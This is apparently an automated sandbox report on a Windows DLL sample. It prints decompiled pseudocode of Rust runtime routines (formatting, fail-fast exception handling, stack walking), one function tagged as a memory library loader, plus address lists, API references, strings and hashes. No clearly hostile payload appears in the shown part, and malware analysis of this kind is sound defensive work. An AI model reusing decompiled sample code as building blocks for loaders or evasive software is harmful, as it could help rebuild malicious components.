																					__eflags = 0;
																					 *(_t282 + 0xc) = _t292 + 1;
																					L49:
																					_t204 = 0;
																					__eflags = _t226 - _t292 - 1;
																					asm("sbb edx, 0x0");
																					if(_t226 >= _t292 - 1) {
																						L72:
																						_t223 =  *(_t282 + 0x14);
																						__eflags =  *(_t282 + 0x14);
																						if( *(_t282 + 0x14) == 0) {
																							L74:
																							 *_t282 = 1;
																							 *(_t282 + 1) = _t204;
																							goto L75;
																						} else {
																							__eflags = _t204;
																							_t257 =  !=  ? "{recursion limit reached}{invalid syntax}" :  &M6E7ECB85;
																							_push((_t204 & 0x000000ff) + 0x10 + (_t204 & 0x000000ff) * 8);
																							_t162 = E6E7A1DE0(_t223,  !=  ? "{recursion limit reached}{invalid syntax}" :  &M6E7ECB85);
																							_t313 =  &(_t313[1]);
																							_t158 = 1;
																							__eflags = _t162;
																							if(_t162 == 0) {
																								goto L74;
																							}
																						}
																					} else {
																						_t204 = 1;
																						_t167 =  *(_t282 + 0x10) + 1;
																						__eflags = _t167 - 0x1f4;
																						if(_t167 > 0x1f4) {
																							goto L72;
																						} else {
																							__eflags =  *(_t282 + 0x14);
																							if( *(_t282 + 0x14) == 0) {
																								goto L75;
																							} else {
																								asm("movsd xmm0, [edi]");
																								asm("movsd xmm1, [edi+0x8]");
																								 *_t282 = 0;
																								 *(_t282 + 0xc) = _t226;
																								 *(_t282 + 0x10) = _t167;
																								_t313[8] =  *(_t282 + 0x10);
																								__eflags = _t313[1];
																								asm("movsd [esp+0x18], xmm1");
																								asm("movsd [esp+0x10], xmm0");
																								_t158 = E6E7A6F50(_t282);
																								asm("movsd xmm0, [esp+0x10]");
																								asm("movsd xmm1, [esp+0x18]");
																								asm("movsd [edi], xmm0");
																								asm("movsd [edi+0x8], xmm1");
																								 *(_t282 + 0x10) = _t313[8];
																							}
																						}
																					}
																				}
																			}
																		}
																		goto L76;
																	} else {
																		_t232 =  *(_t282 + 0x14);
																		__eflags =  *(_t282 + 0x14);
																		if( *(_t282 + 0x14) == 0) {
																			L75:
																			_t158 = 0;
																			__eflags = 0;
																			L76:
																		} else {
																			_push(1);
																			_t158 = E6E7A1DE0(_t232, "?\'for<, >  as ::{shimclosure#[]dyn  + ; mut const  unsafe extern \"");
																		}
																	}
																	return _t158;
																}
															}
														}
													}
												} else {
													__eflags =  *((char*)(_t201 + _t291)) - 0xbf;
													if( *((char*)(_t201 + _t291)) <= 0xbf) {
														goto L38;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								}
								goto L78;
							}
						}
						goto L19;
					}
				} else {
					_t249 =  *((intOrPtr*)(__ecx + 0x14));
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						L22:
						_t215 = 0;
						__eflags = 0;
					} else {
						_push(1);
						_t215 = E6E7A1DE0(_t249, "?\'for<, >  as ::{shimclosure#[]dyn  + ; mut const  unsafe extern \"");
					}
					L23:
					return _t215;
				}
				L78:
			}

0x6e7a77b4
0x6e7a77b5
0x6e7a77d8
0x6e7a77dc
0x6e7a77df
0x6e7a77e3
0x6e7a77e7
0x6e7a77e9
0x6e7a7946
0x6e7a7946
0x6e7a794a
0x6e7a794d
0x6e7a794f
0x6e7a7966
0x6e7a7966
0x00000000
0x6e7a7951
0x6e7a7956
0x6e7a7958
0x6e7a7960
0x6e7a7962
0x6e7a7964
0x00000000
0x00000000
0x6e7a7964
0x00000000
0x6e7a77ef
0x6e7a77ef
0x6e7a77f3
0x6e7a77f6
0x6e7a77f9
0x6e7a77fb
0x6e7a77ff
0x6e7a7803
0x6e7a7811
0x6e7a7815
0x6e7a781a
0x6e7a781a
0x6e7a781b
0x6e7a7820
0x6e7a7823
0x6e7a7826
0x00000000
0x00000000
0x6e7a782e
0x6e7a7833
0x6e7a7836
0x6e7a7837
0x6e7a783a
0x6e7a783d
0x6e7a7840
0x00000000
0x6e7a7842
0x6e7a7844
0x6e7a7847
0x6e7a784a
0x00000000
0x6e7a784c
0x6e7a784c
0x6e7a784f
0x00000000
0x6e7a7855
0x6e7a7855
0x6e7a7859
0x6e7a785c
0x6e7a785e
0x6e7a7860
0x6e7a7b65
0x6e7a7b72
0x6e7a7b77
0x6e7a7b7a
0x00000000
0x6e7a7866
0x6e7a7866
0x6e7a7868
0x6e7a7874
0x6e7a7874
0x6e7a787a
0x6e7a787e
0x6e7a7882
0x6e7a7886
0x6e7a788b
0x6e7a7890
0x6e7a797b
0x6e7a797e
0x6e7a7980
0x00000000
0x6e7a7982
0x6e7a7989
0x6e7a798b
0x6e7a7990
0x6e7a7993
0x6e7a7995
0x6e7a7997
0x00000000
0x6e7a7999
0x6e7a799d
0x6e7a799e
0x6e7a79a3
0x6e7a79a5
0x00000000
0x6e7a79a5
0x6e7a7997
0x6e7a7896
0x6e7a789a
0x6e7a789d
0x6e7a789f
0x00000000
0x6e7a78a5
0x6e7a78a5
0x6e7a78a9
0x6e7a78ad
0x6e7a78b1
0x6e7a78b8
0x6e7a78bb
0x6e7a79aa
0x6e7a78c1
0x6e7a78c1
0x6e7a78c6
0x6e7a78d0
0x6e7a78d0
0x6e7a78d6
0x6e7a78e8
0x6e7a78f3
0x6e7a7904
0x6e7a7919
0x6e7a7922
0x6e7a7924
0x6e7a7928
0x6e7a792a
0x6e7a793a
0x6e7a793f
0x6e7a793f
0x6e7a7944
0x6e7a79af
0x6e7a79b3
0x6e7a79b6
0x6e7a79b8
0x6e7a79c6
0x6e7a79d9
0x6e7a79de
0x6e7a79de
0x6e7a79de
0x6e7a79e1
0x6e7a79e4
0x6e7a79f7
0x6e7a79fc
0x6e7a79fc
0x6e7a79e6
0x6e7a79e8
0x6e7a79ec
0x6e7a79ec
0x6e7a7a0d
0x6e7a7a11
0x6e7a7a12
0x6e7a7a14
0x6e7a7a15
0x6e7a7a17
0x6e7a7a1c
0x6e7a7a1f
0x6e7a7a21
0x6e7a7a21
0x6e7a7a23
0x00000000
0x6e7a7a29
0x6e7a7a29
0x6e7a7a2c
0x00000000
0x6e7a7a32
0x6e7a7a36
0x6e7a7a39
0x6e7a7a3c
0x6e7a7a42
0x6e7a7a50
0x6e7a7a55
0x6e7a7a5c
0x6e7a7a5c
0x6e7a7b7c
0x6e7a7b7c
0x6e7a7b8b
0x6e7a7b90
0x6e7a7b93
0x6e7a7b98
0x6e7a7b9b
0x6e7a7ba1
0x6e7a7ba9
0x6e7a7bab
0x6e7a7bb7
0x6e7a7bbb
0x6e7a7bc3
0x6e7a7bc5
0x6e7a7bc7
0x6e7a7bcb
0x6e7a7bcf
0x6e7a7bd1
0x6e7a7bd3
0x6e7a7bd6
0x6e7a7bd8
0x6e7a7bdc
0x6e7a7be1
0x6e7a7be3
0x6e7a7be6
0x6e7a7be8
0x6e7a7be9
0x6e7a7beb
0x6e7a7bee
0x6e7a7bee
0x6e7a7bf0
0x6e7a7bf4
0x6e7a7bf6
0x6e7a7bf8
0x6e7a7bf8
0x6e7a7bf8
0x6e7a7bfb
0x6e7a7bfb
0x6e7a7bfb
0x6e7a7c01
0x6e7a7c02
0x6e7a7c03
0x6e7a7c04
0x6e7a7c07
0x6e7a7c0a
0x6e7a7c0c
0x6e7a7c2d
0x6e7a7c30
0x6e7a7c33
0x6e7a7c36
0x6e7a7c38
0x6e7a7c3c
0x6e7a7ce2
0x6e7a7ce2
0x6e7a7ce4
0x6e7a7da2
0x6e7a7da2
0x00000000
0x6e7a7cea
0x6e7a7cea
0x6e7a7cee
0x6e7a7cf0
0x6e7a7cf4
0x6e7a7cf9
0x6e7a7cfc
0x00000000
0x6e7a7d02
0x6e7a7d02
0x6e7a7d09
0x6e7a7d09
0x6e7a7d0b
0x6e7a7d0e
0x6e7a7d12
0x6e7a7d20
0x6e7a7d20
0x6e7a7d25
0x6e7a7d27
0x00000000
0x00000000
0x6e7a7d2b
0x6e7a7d2e
0x6e7a7d31
0x6e7a7d5e
0x6e7a7d65
0x6e7a7d67
0x6e7a7d73
0x6e7a7d75
0x6e7a7d78
0x6e7a7d7a
0x6e7a7d81
0x6e7a7dbb
0x6e7a7dbb
0x00000000
0x6e7a7d83
0x6e7a7d88
0x6e7a7d8a
0x6e7a7d8a
0x6e7a7d8c
0x6e7a7d8f
0x6e7a7dbd
0x6e7a7dbd
0x00000000
0x6e7a7d91
0x6e7a7d91
0x6e7a7d95
0x6e7a7d99
0x6e7a7d9c
0x6e7a7d9e
0x00000000
0x6e7a7da0
0x00000000
0x6e7a7da0
0x6e7a7d9e
0x6e7a7d8f
0x6e7a7d33
0x6e7a7d35
0x6e7a7d38
0x6e7a7d3b
0x6e7a7d52
0x6e7a7d55
0x6e7a7d58
0x00000000
0x6e7a7d5a
0x6e7a7d5a
0x6e7a7d5a
0x00000000
0x6e7a7d5a
0x6e7a7d3d
0x6e7a7d3d
0x6e7a7d5c
0x6e7a7d5c
0x00000000
0x6e7a7d5c
0x6e7a7d3b
0x00000000
0x6e7a7d31
0x6e7a7da6
0x6e7a7da8
0x6e7a7da8
0x6e7a7dab
0x6e7a7dae
0x6e7a7db1
0x00000000
0x6e7a7db3
0x6e7a7db3
0x00000000
0x6e7a7db3
0x6e7a7db1
0x6e7a7cfc
0x6e7a7c42
0x6e7a7c42
0x6e7a7c44
0x00000000
0x6e7a7c4a
0x6e7a7c4a
0x6e7a7c4e
0x00000000
0x6e7a7c54
0x6e7a7c54
0x6e7a7c5b
0x6e7a7c5d
0x6e7a7c5f
0x6e7a7c62
0x6e7a7c63
0x6e7a7c65
0x6e7a7c67
0x6e7a7c6a
0x6e7a7dbf
0x6e7a7dbf
0x6e7a7dc2
0x6e7a7dc4
0x6e7a7ded
0x6e7a7ded
0x6e7a7df0
0x00000000
0x6e7a7dc6
0x6e7a7dd0
0x6e7a7dd2
0x6e7a7ddc
0x6e7a7ddd
0x6e7a7de2
0x6e7a7de7
0x6e7a7de9
0x6e7a7deb
0x00000000
0x00000000
0x6e7a7deb
0x6e7a7c70
0x6e7a7c73
0x6e7a7c75
0x6e7a7c76
0x6e7a7c7b
0x00000000
0x6e7a7c81
0x6e7a7c81
0x6e7a7c85
0x00000000
0x6e7a7c8b
0x6e7a7c8e
0x6e7a7c92
0x6e7a7c97
0x6e7a7c9a
0x6e7a7c9f
0x6e7a7ca2
0x6e7a7ca8
0x6e7a7cad
0x6e7a7cb3
0x6e7a7cbc
0x6e7a7cc1
0x6e7a7cc7
0x6e7a7cd1
0x6e7a7cd5
0x6e7a7cda
0x6e7a7cda
0x6e7a7c85
0x6e7a7c7b
0x6e7a7c6a
0x6e7a7c4e
0x6e7a7c44
0x00000000
0x6e7a7c0e
0x6e7a7c0e
0x6e7a7c11
0x6e7a7c13
0x6e7a7df3
0x6e7a7df3
0x6e7a7df3
0x6e7a7df5
0x6e7a7c19
0x6e7a7c1e
0x6e7a7c20
0x6e7a7c25
0x6e7a7c13
0x6e7a7dfc
0x6e7a7dfc
0x6e7a7a2c
0x6e7a7a23
0x6e7a789f
0x6e7a786a
0x6e7a786a
0x6e7a786e
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7a786e
0x6e7a7868
0x6e7a7860
0x6e7a784f
0x6e7a784a
0x00000000
0x6e7a7840
0x6e7a7820
0x00000000
0x6e7a7803
0x6e7a77b7
0x6e7a77b7
0x6e7a77bc
0x6e7a796b
0x6e7a796b
0x6e7a796b
0x6e7a77c2
0x6e7a77c7
0x6e7a77d1
0x6e7a77d1
0x6e7a796d
0x6e7a7976
0x6e7a7976
0x00000000

APIs

__aullrem.LIBCMT ref: 6E7A78E3
__aulldiv.LIBCMT ref: 6E7A78F3

Strings

?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E7A77C2, 6E7A7C19
{recursion limit reached}{invalid syntax}, xrefs: 6E7A7DC6
called `Option::unwrap()` on a `None` value, xrefs: 6E7A7B7C
bool, xrefs: 6E7A7A4B

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: 5c2647460497c8ee366a73a092b3d9db73ef4c1b05f6e9143b8c297c88d0fc26
Instruction ID: 96f0754ea28565d6da3975ebd0ec0ee2e5c348938cd3f23d6ab35e38089e4100
Opcode Fuzzy Hash: 5c2647460497c8ee366a73a092b3d9db73ef4c1b05f6e9143b8c297c88d0fc26
Instruction Fuzzy Hash: 62E116716087418FD714CFACC69076ABBE1AF86314F14876ED5998B3EAD334E846CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BAB0C, Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E7BAB0C(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E6E7BAC27(_t34);
				 *_t60 = 0x2cc;
				_v632 = E6E7BC310(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E6E7BC310(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E6E7BAC27(_t49);
				}
				return _t49;
			}

0x6e7bab0c
0x6e7bab0c
0x6e7bab0c
0x6e7bab20
0x6e7bab22
0x6e7bab25
0x6e7bab25
0x6e7bab29
0x6e7bab2e
0x6e7bab46
0x6e7bab4c
0x6e7bab52
0x6e7bab58
0x6e7bab5e
0x6e7bab64
0x6e7bab6a
0x6e7bab71
0x6e7bab78
0x6e7bab7f
0x6e7bab86
0x6e7bab8d
0x6e7bab94
0x6e7bab95
0x6e7bab9e
0x6e7baba4
0x6e7baba7
0x6e7babad
0x6e7babbc
0x6e7babc8
0x6e7babd3
0x6e7babda
0x6e7babe1
0x6e7babec
0x6e7babf4
0x6e7babfd
0x6e7babff
0x6e7bac02
0x6e7bac04
0x6e7bac0e
0x6e7bac16
0x6e7bac1c
0x00000000
0x6e7bac23
0x6e7bac26

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6E7BAB18
IsDebuggerPresent.KERNEL32 ref: 6E7BABE4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E7BAC04
UnhandledExceptionFilter.KERNEL32(?), ref: 6E7BAC0E

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fb04739c89b7d33adf9c5e6e65f99ec8cd52a71c69957acee87bee99d0ccd053
Instruction ID: 15a0b9567f18bfac02db2d2021fb2eb3da6c04d4fc815be2b2c96f606b7482a1
Opcode Fuzzy Hash: fb04739c89b7d33adf9c5e6e65f99ec8cd52a71c69957acee87bee99d0ccd053
Instruction Fuzzy Hash: 70311875D053189FEF50DFA4DA89BCDBBB8AF08704F1044AAE40DAB250EB705A848F45

Uniqueness

Uniqueness Score: -1.00%

Function 6E7ADEE0, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E7ADEE0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6E7B3B90;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6E7BC310(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6e7ed0bc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6E7C7370(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6E7C6DB0(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6e7eded0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6E7B0EC0(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6e7fadc8, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6e7fadc8, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6e7fadc8, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6e7ed5c8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6e7ecd60;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6E7A2320( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6e7fadc8, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6e7ed5d0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6E7BC310(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6E7B9EEE();
						_t217 = E6E7AE690(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6e7fade8; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6e7fadd0, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6E7C6E20(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e7ee2c0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6e7fade8 = _t218;
									_t267 =  *0x6e7fadec; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6e7fadec; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6e7fadf8; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6E7BC310(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6E7AE890(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6e7fadd0, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6E7BC310(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6e7fade4; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6e7fadd0, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6E7C6E20(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6e7ee2c0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6e7fade4 = _t244;
